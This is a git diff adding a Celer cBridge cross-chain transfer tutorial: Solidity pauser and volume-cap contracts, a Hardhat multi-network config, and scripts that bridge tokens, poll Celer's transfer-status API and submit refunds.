+
+    function addPauser(address account) public onlyOwner {
+        _addPauser(account);
+    }
+
+    function removePauser(address account) public onlyOwner {
+        _removePauser(account);
+    }
+
+    function renouncePauser() public {
+        _removePauser(msg.sender);
+    }
+
+    function _addPauser(address account) private {
+        require(!isPauser(account), "Account is already pauser");
+        pausers[account] = true;
+        emit PauserAdded(account);
+    }
+
+    function _removePauser(address account) private {
+        require(isPauser(account), "Account is not pauser");
+        pausers[account] = false;
+        emit PauserRemoved(account);
+    }
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/celerBridge/contracts/safeguard/VolumeControl.sol b/basic/80-crossChainTransfer/celerBridge/contracts/safeguard/VolumeControl.sol
new file mode 100644
index 000000000..7c8348d1a
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/contracts/safeguard/VolumeControl.sol
@@ -0,0 +1,49 @@
+// SPDX-License-Identifier: GPL-3.0-only
+
+pragma solidity 0.8.17;
+
+import "./Governor.sol";
+
+abstract contract VolumeControl is Governor {
+    uint256 public epochLength; // seconds
+    mapping(address => uint256) public epochVolumes; // key is token
+    mapping(address => uint256) public epochVolumeCaps; // key is token
+    mapping(address => uint256) public lastOpTimestamps; // key is token
+
+    event EpochLengthUpdated(uint256 length);
+    event EpochVolumeUpdated(address token, uint256 cap);
+
+    function setEpochLength(uint256 _length) external onlyGovernor {
+        epochLength = _length;
+        emit EpochLengthUpdated(_length);
+    }
+
+    function setEpochVolumeCaps(address[] calldata _tokens, uint256[] calldata _caps) external onlyGovernor {
+        require(_tokens.length == _caps.length, "length mismatch");
+        for (uint256 i = 0; i < _tokens.length; i++) {
+            epochVolumeCaps[_tokens[i]] = _caps[i];
+            emit EpochVolumeUpdated(_tokens[i], _caps[i]);
+        }
+    }
+
+    function _updateVolume(address _token, uint256 _amount) internal {
+        if (epochLength == 0) {
+            return;
+        }
+        uint256 cap = epochVolumeCaps[_token];
+        if (cap == 0) {
+            return;
+        }
+        uint256 volume = epochVolumes[_token];
+        uint256 timestamp = block.timestamp;
+        uint256 epochStartTime = (timestamp / epochLength) * epochLength;
+        if (lastOpTimestamps[_token] < epochStartTime) {
+            volume = _amount;
+        } else {
+            volume += _amount;
+        }
+        require(volume <= cap, "volume exceeds cap");
+        epochVolumes[_token] = volume;
+        lastOpTimestamps[_token] = timestamp;
+    }
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/celerBridge/hardhat.config.js b/basic/80-crossChainTransfer/celerBridge/hardhat.config.js
new file mode 100644
index 000000000..29caf93d4
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/hardhat.config.js
@@ -0,0 +1,64 @@
+require("@nomiclabs/hardhat-waffle");
+require('dotenv').config();
+
+const settings = {
+  optimizer: {
+    enabled: true,
+    runs: 200,
+  },
+};
+
+function mnemonic() {
+  return [process.env.PRIVATE_KEY];
+}
+
+/** @type import('hardhat/config').HardhatUserConfig */
+module.exports = {
+  solidity: {
+    compilers: [
+      { version: '0.8.17',  settings },
+      { version: '0.8.9',  settings },
+    ],
+  },
+  networks: {
+    localhost: {
+      url: 'http://localhost:8545',
+      //gasPrice: 125000000000,  // you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    mainnet: {
+      url: 'https://mainnet.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: mnemonic(),
+    },
+    matic: {
+      url: 'https://polygon-mainnet.infura.io/v3/' + process.env.INFURA_ID,
+      accounts: mnemonic()
+    },
+    optim: {
+      url: "https://optimism-mainnet.infura.io/v3/" + process.env.INFURA_ID,
+      accounts: mnemonic()
+    },
+    sepolia: {
+      url: "https://sepolia.infura.io/v3/" + process.env.INFURA_ID,
+      accounts: mnemonic()
+    },
+    arbitrum: {
+      url: "https://arbitrum-mainnet.infura.io/v3/" + process.env.INFURA_ID,
+      accounts: mnemonic()
+    },
+    scroll: {
+      url: "https://rpc.scroll.io",
+      accounts: mnemonic()
+    },
+    mumbai:{
+      url: "https://polygon-mumbai.infura.io/v3/" + process.env.INFURA_ID,
+      accounts: mnemonic()
+    }
+  },
+  mocha: {
+    timeout: 20000
+  },
+};
diff --git a/basic/80-crossChainTransfer/celerBridge/package.json b/basic/80-crossChainTransfer/celerBridge/package.json
new file mode 100644
index 000000000..8c3e2de2e
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/package.json
@@ -0,0 +1,25 @@
+{
+  "name": "celerbridge",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "@openzeppelin/contracts": "^4.5.0",
+    "dotenv": "^16.4.5",
+    "hardhat": "^2.9.0",
+    "node-fetch": "^2.7.0"
+  },
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.2.3",
+    "@nomiclabs/hardhat-waffle": "^2.0.6",
+    "chai": "^4.4.1",
+    "ethereum-waffle": "^3.4.4",
+    "ethers": "^5.7.2"
+  }
+}
diff --git a/basic/80-crossChainTransfer/celerBridge/scripts/1-poolBasedTransfer.js b/basic/80-crossChainTransfer/celerBridge/scripts/1-poolBasedTransfer.js
new file mode 100644
index 000000000..7b99f7eea
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/scripts/1-poolBasedTransfer.js
@@ -0,0 +1,111 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+
+const {
+  saveRedpacketDeployment,
+  request,
+} = require("../utils");
+
+
+
+async function getTransferConfigs(){
+  const fetchRes = await request(
+    "https://cbridge-prod2.celer.app/v2/getTransferConfigs"
+  );
+  console.log("fetchRes", fetchRes?.blocked_bridge_direct?.[0]);
+}
+
+async function estimateAmt(sourceChain,dstChain,tokenSymbol,userAddress,tolerance,transferAmount){
+  const fetchParamsRes = await request(
+    "https://cbridge-prod2.celer.app/v2/estimateAmt",
+    {
+      src_chain_id: sourceChain,
+      dst_chain_id: dstChain,
+      token_symbol: tokenSymbol,
+      usr_addr: userAddress,
+      slippage_tolerance: tolerance,
+      amt: transferAmount,
+    }
+  );
+  console.log("fetchParamsRes", fetchParamsRes);
+}
+
+
+function getPoolBasedTransferID(userAddress,tokenAddress,transferAmount,destChainID,nonce,sourceChainID){
+  return ethers.utils.solidityPackedKeccak256(
+    ["address","address","address","uint256","uint64","uint64","uint64"],[userAddress,userAddress,tokenAddress,transferAmount,destChainID,nonce,sourceChainID])
+}
+
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  console.log("Try to getTransferConfigs")
+  await getTransferConfigs()
+
+  // Bridge from OP to Zksync Era
+  // const sourceChainID = 10  // Op Mainnet: 10, Ethereum: 1
+  // const destChainID = 324  // Polygon Mainnet: 137, zkSync Era: 324
+  // const tokenSymbol = "USDT" // transfer USDT
+  // const slippageTolerance = 3000 // if the user sets slippage_tolerance with 0.05%, slippage_tolerance in the request will be 0.05% * 1M = 500
+  // const transferAmount = 21000000
+  // const tokenAddress = "0x94b008aA00579c1307B0EF2c499aD98a8ce58e58" 
+  // const nonce = new Date().getTime()
+
+  
+  // Bridge from Ethereum to Zksync Era
+  // const sourceChainID = 1  // Op Mainnet
+  // const destChainID = 324  // Zksync Era Mainnet
+  // const tokenSymbol = "USDC" // transfer USDT
+  // const slippageTolerance = 3000 // if the user sets slippage_tolerance with 0.05%, slippage_tolerance in the request will be 0.05% * 1M = 500
+  // const transferAmount = 21000000 // The transfer amount must be greater than 20 USDC.e.
+  // const tokenAddress = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48" // celeBridge support USDC.e & wETH right now, please refer to https://cbridge.celer.network/1/324/USDC for more details
+  // const nonce = new Date().getTime()
+
+
+  // Bridge from OP to Polygon
+  const sourceChainID = 10  // Op Mainnet: 10, Ethereum: 1
+  const destChainID = 137  // Polygon Mainnet: 137, zkSync Era: 324
+  const tokenSymbol = "USDT" // transfer USDT
+  const slippageTolerance = 3000 // if the user sets slippage_tolerance with 0.05%, slippage_tolerance in the request will be 0.05% * 1M = 500
+  const transferAmount = 21000000
+  const tokenAddress = "0x94b008aA00579c1307B0EF2c499aD98a8ce58e58" 
+  const nonce = new Date().getTime()
+
+
+  console.log("Try to estimate transfer amt")
+  const estimageResult = await estimateAmt(sourceChainID,destChainID,tokenSymbol,deployer.address,slippageTolerance,transferAmount)
+
+  // Pool Based Transfer for USDT, from Op to Polygon
+  // for contract address, refer to https://cbridge-docs.celer.network/reference/contract-addresses
+  const OpPoolBasedBridgeContract = "0x9D39Fc627A6d9d9F8C831c16995b209548cc3401"
+  const usdtContracct = await ethers.getContractAt('IERC20', tokenAddress, deployer);
+
+  let tx = await usdtContracct.approve(OpPoolBasedBridgeContract, transferAmount);
+  await tx.wait();
+  console.log("Approve USDT to OpPoolBasedBridge successfully")
+
+  const bridge = await ethers.getContractAt('Bridge', OpPoolBasedBridgeContract, deployer);
+  let receipt = await bridge.send(deployer.address, tokenAddress,transferAmount,destChainID,nonce,slippageTolerance)
+  await receipt.wait()
+
+  console.log("Send bridge request successfully")
+
+  let transferID = getPoolBasedTransferID(deployer.address, deployer.address,tokenAddress,transferAmount,destChainID,nonce,sourceChainID)
+  console.log(transferID)
+  // let  transferID = "0xasdfasfsfasf"
+  saveRedpacketDeployment({
+    poolBasedCelerTransferID: transferID,
+  });
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/celerBridge/scripts/2-queryPoolBasedTrasnferStatus.js b/basic/80-crossChainTransfer/celerBridge/scripts/2-queryPoolBasedTrasnferStatus.js
new file mode 100644
index 000000000..0b739fd44
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/scripts/2-queryPoolBasedTrasnferStatus.js
@@ -0,0 +1,85 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const hre = require("hardhat");
+
+const {
+  readRedpacketDeployment,
+  request,
+} = require("../utils");
+
+
+
+async function getTransferStatus(transferID){
+  const fetchPostRes = await request(
+    "https://cbridge-prod2.celer.app/v2/getTransferStatus",
+    {
+      transfer_id:
+      transferID,
+    },
+    "POST"
+  );
+
+  return fetchPostRes
+}
+
+
+async function main() {
+  const deployment = readRedpacketDeployment();
+  
+  // get transfer status
+  // refer to: https://cbridge-docs.celer.network/developer/api-reference/gateway-gettransferstatus
+  console.log("Begin to check cross chain transfer result")
+  let bridgeID = deployment.poolBasedCelerTransferID
+  let transferStatus = await getTransferStatus(bridgeID)
+  switch(transferStatus.status){
+    case 0:
+      console.log("Placeholder status")
+      break; 
+    case 1:
+      console.log("cBridge gateway monitoring on-chain transaction")
+      break; 
+    case 2:
+      console.log("transfer failed, no need to refund")
+      break;
+    case 3:
+      console.log("cBridge gateway waiting for Celer SGN confirmation")
+      break;
+    case 4:
+      console.log("waiting for user's fund release on destination chain")
+      break;
+    case 5:
+      console.log("Transfer completed")
+      break;
+    case 6:
+      console.log("Transfer failed, should trigger refund flow, whether it is Pool-Based or Mint/Burn refund​")
+      break;
+    case 7:
+      console.log("cBridge gateway is preparing information for user's transfer refund​")
+      break;
+    case 8:
+      console.log("The user should submit on-chain refund transaction based on information provided by this api​")
+      break;
+    case 9:
+      console.log("cBridge monitoring transfer refund status on source chain​")
+      break;
+    case 10:
+      console.log("Transfer refund completed​")
+      break;
+    case 11:
+      console.log("Transfer is put into a delayed execution queue​")
+      break;
+  }
+  
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/celerBridge/scripts/3.1-canonicalTokenTransfer.js b/basic/80-crossChainTransfer/celerBridge/scripts/3.1-canonicalTokenTransfer.js
new file mode 100644
index 000000000..a27e3ae01
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/scripts/3.1-canonicalTokenTransfer.js
@@ -0,0 +1,55 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+
+const {
+  saveRedpacketDeployment,
+} = require("../utils");
+
+
+
+function getCanonicalTransferID(userAddress,tokenAddress,transferAmount,destChainID,nonce,sourceChainID){
+  return ethers.utils.solidityKeccak256(
+    ["address","address","uint256","uint64","address","uint64","uint64"],[userAddress,tokenAddress,transferAmount,destChainID,userAddress,nonce,sourceChainID])
+}
+
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  const sourceChainID = 137  // Polygon Mainnet
+  const destChainID = 1285  // Moonriver Mainnet
+  const transferAmount = ethers.utils.parseEther("21")
+  const tokenAddress = "0xa3Fa99A148fA48D14Ed51d610c367C61876997F1"
+  const nonce = new Date().getTime()
+
+  // Transfer for miMATIC token, from Polygon to Moonriver
+  // for contract address, refer to https://cbridge-docs.celer.network/reference/contract-addresses
+  const canonicalBridgeContract = "0xc1a2D967DfAa6A10f3461bc21864C23C1DD51EeA"
+  const contract = await hre.ethers.getContractAt('IERC20', tokenAddress, deployer);
+
+  let tx = await contract.approve(canonicalBridgeContract, transferAmount);
+  await tx.wait();
+  console.log("Approve Op token to canonicalBridgeContract successfully")
+
+  const bridge = await hre.ethers.getContractAt('OriginalTokenVault', canonicalBridgeContract, deployer);
+  let receipt = await bridge.deposit(tokenAddress,transferAmount,destChainID,deployer.address,nonce)
+  await receipt.wait()
+
+  console.log("Send bridge request successfully")
+
+  let transferID = getCanonicalTransferID(deployer.address,tokenAddress,transferAmount,destChainID,nonce,sourceChainID)
+  saveRedpacketDeployment({
+    canonicalCelerBridgeTransferID: transferID,
+  });
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/celerBridge/scripts/3.2-canonicalTokenTransfer_ForRefund.js b/basic/80-crossChainTransfer/celerBridge/scripts/3.2-canonicalTokenTransfer_ForRefund.js
new file mode 100644
index 000000000..563c4ead4
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/scripts/3.2-canonicalTokenTransfer_ForRefund.js
@@ -0,0 +1,55 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+
+const {
+  saveRedpacketDeployment,
+} = require("../utils");
+
+
+
+function getCanonicalTransferID(userAddress,tokenAddress,transferAmount,destChainID,nonce,sourceChainID){
+  return ethers.utils.solidityKeccak256(
+    ["address","address","uint256","uint64","address","uint64","uint64"],[userAddress,tokenAddress,transferAmount,destChainID,userAddress,nonce,sourceChainID])
+}
+
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  const sourceChainID = 10  // Op Mainnet
+  const destChainID = 137  // Polygon Mainnet
+  const transferAmount = ethers.utils.parseEther("1")
+  const OpTokenAddress = "0x4200000000000000000000000000000000000042"
+  const nonce = new Date().getTime()
+
+  // Transfer for Op token, from Op to Polygon
+  // for contract address, refer to https://cbridge-docs.celer.network/reference/contract-addresses
+  const canonicalBridgeContract = "0xbCfeF6Bb4597e724D720735d32A9249E0640aA11"
+  const opContract = await hre.ethers.getContractAt('IERC20', OpTokenAddress, deployer);
+
+  let tx = await opContract.approve(canonicalBridgeContract, transferAmount);
+  await tx.wait();
+  console.log("Approve Op token to canonicalBridgeContract successfully")
+
+  const bridge = await hre.ethers.getContractAt('OriginalTokenVault', canonicalBridgeContract, deployer);
+  let receipt = await bridge.deposit(OpTokenAddress,transferAmount,destChainID,deployer.address,nonce)
+  await receipt.wait()
+
+  console.log("Send bridge request successfully")
+
+  let transferID = getCanonicalTransferID(deployer.address,OpTokenAddress,transferAmount,destChainID,nonce,sourceChainID)
+  saveRedpacketDeployment({
+    canonicalCelerBridgeTransferID: transferID,
+  });
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/celerBridge/scripts/4.1-queryCanonicalTrasnferStatus.js b/basic/80-crossChainTransfer/celerBridge/scripts/4.1-queryCanonicalTrasnferStatus.js
new file mode 100644
index 000000000..2dbb2850d
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/scripts/4.1-queryCanonicalTrasnferStatus.js
@@ -0,0 +1,85 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+
+const {
+  readRedpacketDeployment,
+  request,
+} = require("../utils");
+
+
+async function getTransferStatus(transferID){
+  const fetchPostRes = await request(
+    "https://cbridge-prod2.celer.app/v2/getTransferStatus",
+    {
+      transfer_id:
+      transferID,
+    },
+    "POST"
+  );
+
+  return fetchPostRes
+}
+
+
+async function main() {
+  const deployment = readRedpacketDeployment();
+  
+  // get transfer status
+  // refer to: https://cbridge-docs.celer.network/developer/api-reference/gateway-gettransferstatus
+  console.log("Begin to check cross chain transfer result")
+  let bridgeID = deployment.canonicalCelerBridgeTransferID
+  let transferStatus = await getTransferStatus(bridgeID)
+  console.log(transferStatus)
+  switch(transferStatus.status){
+    case 0:
+      console.log("Placeholder status")
+      break; 
+    case 1:
+      console.log("cBridge gateway monitoring on-chain transaction")
+      break; 
+    case 2:
+      console.log("transfer failed, no need to refund")
+      break;
+    case 3:
+      console.log("cBridge gateway waiting for Celer SGN confirmation")
+      break;
+    case 4:
+      console.log("waiting for user's fund release on destination chain")
+      break;
+    case 5:
+      console.log("Transfer completed")
+      break;
+    case 6:
+      console.log("Transfer failed, should trigger refund flow, whether it is Pool-Based or Mint/Burn refund​")
+      break;
+    case 7:
+      console.log("cBridge gateway is preparing information for user's transfer refund​")
+      break;
+    case 8:
+      console.log("The user should submit on-chain refund transaction based on information provided by this api​")
+      break;
+    case 9:
+      console.log("cBridge monitoring transfer refund status on source chain​")
+      break;
+    case 10:
+      console.log("Transfer refund completed​")
+      break;
+    case 11:
+      console.log("Transfer is put into a delayed execution queue​")
+      break;
+  }
+  
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/celerBridge/scripts/4.2-queryCanonicalTrasnferStatus_ForRefund.js b/basic/80-crossChainTransfer/celerBridge/scripts/4.2-queryCanonicalTrasnferStatus_ForRefund.js
new file mode 100644
index 000000000..351fb1008
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/scripts/4.2-queryCanonicalTrasnferStatus_ForRefund.js
@@ -0,0 +1,86 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+
+const {
+  readRedpacketDeployment,
+  request,
+} = require("../utils");
+
+
+
+async function getTransferStatus(transferID){
+  const fetchPostRes = await request(
+    "https://cbridge-prod2.celer.app/v2/getTransferStatus",
+    {
+      transfer_id:
+      transferID,
+    },
+    "POST"
+  );
+
+  return fetchPostRes
+}
+
+
+async function main() {
+  const deployment = readRedpacketDeployment();
+  
+  // get transfer status
+  // refer to: https://cbridge-docs.celer.network/developer/api-reference/gateway-gettransferstatus
+  console.log("Begin to check cross chain transfer result")
+  let bridgeID = deployment.canonicalCelerBridgeTransferID
+  let transferStatus = await getTransferStatus(bridgeID)
+  console.log(transferStatus)
+  switch(transferStatus.status){
+    case 0:
+      console.log("Placeholder status")
+      break; 
+    case 1:
+      console.log("cBridge gateway monitoring on-chain transaction")
+      break; 
+    case 2:
+      console.log("transfer failed, no need to refund")
+      break;
+    case 3:
+      console.log("cBridge gateway waiting for Celer SGN confirmation")
+      break;
+    case 4:
+      console.log("waiting for user's fund release on destination chain")
+      break;
+    case 5:
+      console.log("Transfer completed")
+      break;
+    case 6:
+      console.log("Transfer failed, should trigger refund flow, whether it is Pool-Based or Mint/Burn refund​")
+      break;
+    case 7:
+      console.log("cBridge gateway is preparing information for user's transfer refund​")
+      break;
+    case 8:
+      console.log("The user should submit on-chain refund transaction based on information provided by this api​")
+      break;
+    case 9:
+      console.log("cBridge monitoring transfer refund status on source chain​")
+      break;
+    case 10:
+      console.log("Transfer refund completed​")
+      break;
+    case 11:
+      console.log("Transfer is put into a delayed execution queue​")
+      break;
+  }
+  
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/celerBridge/scripts/5-canonicalTrasnferRefund.js b/basic/80-crossChainTransfer/celerBridge/scripts/5-canonicalTrasnferRefund.js
new file mode 100644
index 000000000..e40b13cfc
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/scripts/5-canonicalTrasnferRefund.js
@@ -0,0 +1,114 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+
+const {
+  readRedpacketDeployment,
+  request,
+} = require("../utils");
+
+
+
+async function getTransferStatus(transferID){
+  const fetchPostRes = await request(
+    "https://cbridge-prod2.celer.app/v2/getTransferStatus",
+    {
+      transfer_id:
+      transferID,
+    },
+    "POST"
+  );
+
+  return fetchPostRes
+}
+
+async function refundCanonicalTransfer(transferStatus,deployer){
+  const wdmsg = ethers.utils.base64.decode(transferStatus.wd_onchain);
+  
+  const signers = transferStatus.signers.map(item => {
+    const decodeSigners = ethers.utils.base64.decode(item);
+    const hexlifyObj = ethers.utils.hexlify(decodeSigners);
+    return ethers.utils.getAddress(hexlifyObj);
+  });
+
+  const sigs = transferStatus.sorted_sigs.map(item => {
+    return ethers.utils.base64.decode(item);
+  });
+
+  const powers = transferStatus.powers.map(item => {
+    return ethers.utils.base64.decode(item);
+  });
+
+  // canonical bridge contract on Op mainnet
+  const canonicalBridgeContract = "0xbCfeF6Bb4597e724D720735d32A9249E0640aA11"
+  const bridge = await hre.ethers.getContractAt('OriginalTokenVault', canonicalBridgeContract, deployer);
+  let receipt = await bridge.withdraw(wdmsg,sigs,signers,powers)
+  console.log(receipt)
+}
+
+
+async function main() {
+  const deployment = readRedpacketDeployment();
+  const [deployer] = await ethers.getSigners();
+  // get transfer status
+  // refer to: https://cbridge-docs.celer.network/developer/api-reference/gateway-gettransferstatus
+  console.log("Begin to check cross chain transfer result")
+  let bridgeID = deployment.canonicalCelerBridgeTransferID
+  let transferStatus = await getTransferStatus(bridgeID)
+  switch(transferStatus.status){
+    case 0:
+      console.log("Placeholder status")
+      break; 
+    case 1:
+      console.log("cBridge gateway monitoring on-chain transaction")
+      break; 
+    case 2:
+      console.log("transfer failed, no need to refund")
+      break;
+    case 3:
+      console.log("cBridge gateway waiting for Celer SGN confirmation")
+      break;
+    case 4:
+      console.log("waiting for user's fund release on destination chain")
+      break;
+    case 5:
+      console.log("Transfer completed")
+      break;
+    case 6:
+      console.log("Transfer failed, should trigger refund flow, whether it is Pool-Based or Mint/Burn refund​")
+      break;
+    case 7:
+      console.log("cBridge gateway is preparing information for user's transfer refund​")
+      break;
+    case 8:
+      console.log("The user should submit on-chain refund transaction based on information provided by this api​")
+      break;
+    case 9:
+      console.log("cBridge monitoring transfer refund status on source chain​")
+      break;
+    case 10:
+      console.log("Transfer refund completed​")
+      break;
+    case 11:
+      console.log("Transfer is put into a delayed execution queue​")
+      break;
+  }
+  
+  if(transferStatus.status == 8){
+    console.log("Begin to refund======")
+    await refundCanonicalTransfer(transferStatus,deployer);
+    console.log("Refund successfully")
+  }
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/celerBridge/utils/index.js b/basic/80-crossChainTransfer/celerBridge/utils/index.js
new file mode 100644
index 000000000..b27c41e4a
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/utils/index.js
@@ -0,0 +1,128 @@
+// read and save redpacket contract deployment json file
+const path = require("path");
+const fs = require("fs");
+const hre = require("hardhat");
+const fetch = require("node-fetch");
+
+const currentNamework = hre.network.name;
+const DEPLOYMENGT_DIR = path.join(
+  __dirname,
+  "../scripts/deployment.json",
+);
+
+const AddressZero = "0x0000000000000000000000000000000000000000";
+
+async function deployContract(name, params, deployer = undefined) {
+  const contract = await hre.ethers.deployContract(name, params, deployer);
+  await contract.waitForDeployment();
+  // @todo 临时处理
+  contract.address = contract.target;
+  return contract;
+}
+
+const request = (url, params = {}, method = "GET") => {
+  let options = {
+    method,
+  };
+  if ("GET" === method) {
+    url += "?" + new URLSearchParams(params).toString();
+  } else {
+    options.body = JSON.stringify(params);
+  }
+
+  return fetch(url, options).then((response) => response.json());
+};
+
+/*
+ * deployment:
+ *   redPacketAddress
+ *   redPacketOwner
+ *   redPacketID
+ *   simpleTokenAddress
+ */
+function readRedpacketDeployment() {
+  if (!fs.existsSync(DEPLOYMENGT_DIR)) return null;
+  try {
+    return JSON.parse(fs.readFileSync(DEPLOYMENGT_DIR, { encoding: "utf-8" }));
+  } catch {
+    return null;
+  }
+}
+
+function saveRedpacketDeployment(payload) {
+  let oldData = readRedpacketDeployment();
+  if (!oldData) oldData = {};
+  fs.writeFileSync(
+    DEPLOYMENGT_DIR,
+    JSON.stringify({
+      ...oldData,
+      ...payload,
+    }),
+    { flag: "w+" },
+  );
+  return true;
+}
+
+async function verifyContract(
+  contractNameOrAddress,
+  network = hre.network.name,
+  constructorArguments = null,
+) {
+  if (network == "hardhat" || network == "localhost") {
+    console.log("hardhat network skip verifyContract");
+    return;
+  }
+
+  let address;
+  if (isAddress(contractNameOrAddress)) {
+    address = contractNameOrAddress;
+  } else {
+    const data = fs.readFileSync(DEPLOYMENGT_DIR, "utf8");
+    const addresses = JSON.parse(data);
+    address = addresses[contractNameOrAddress];
+  }
+
+  if (!address) {
+    console.error("verifyContract error: Contract depoloyment not found.");
+    return;
+  }
+
+  let params = {
+    address,
+    network,
+    constructorArguments: [],
+  };
+  if (constructorArguments) {
+    params.constructorArguments = constructorArguments;
+  }
+
+  try {
+    await hre.run("verify:verify", params);
+    console.log("verifyContract successfully!");
+  } catch (e) {
+    console.error("verifyContract error:", e);
+  }
+}
+
+function isAddress(str) {
+  return /^0x[a-fA-F0-9]{40}$/.test(str);
+}
+
+function hashToken(account) {
+  return Buffer.from(
+    hre.ethers.utils.solidityPackedKeccak256(["address"], [account]).slice(2),
+    "hex",
+  );
+}
+
+module.exports = {
+  AddressZero,
+  deployContract,
+  DEPLOYMENGT_DIR,
+  isAddress,
+  verifyContract,
+  readRedpacketDeployment,
+  saveRedpacketDeployment,
+  hashToken,
+  request,
+};
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/.env.example b/basic/80-crossChainTransfer/chainlinkCCIP/.env.example
new file mode 100644
index 000000000..3bdf12274
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/.env.example
@@ -0,0 +1,3 @@
+PRIVATE_KEY=xxxx
+INFURA_ID=yyyy
+API_KEY=yyyy 
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/.gitignore b/basic/80-crossChainTransfer/chainlinkCCIP/.gitignore
new file mode 100644
index 000000000..9f691bb1a
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/.gitignore
@@ -0,0 +1,50 @@
+.env
+node_modules/
+
+
+# scripts/redpacket/deployment.json
+
+node_modules
+.env
+
+# Hardhat files
+/cache
+/artifacts
+
+# TypeChain files
+/typechain
+/typechain-types
+
+# solidity-coverage files
+/coverage
+/coverage.json
+
+node_modules
+.env
+
+# Hardhat files
+/cache
+/artifacts
+
+# TypeChain files
+/typechain
+/typechain-types
+
+# solidity-coverage files
+/coverage
+/coverage.json
+
+node_modules
+.env
+
+# Hardhat files
+/cache
+/artifacts
+
+# TypeChain files
+/typechain
+/typechain-types
+
+# solidity-coverage files
+/coverage
+/coverage.json
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/README-cn.md b/basic/80-crossChainTransfer/chainlinkCCIP/README-cn.md
new file mode 100644
index 000000000..b546dd486
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/README-cn.md
@@ -0,0 +1,178 @@
+中文 / [English](./README.md)
+
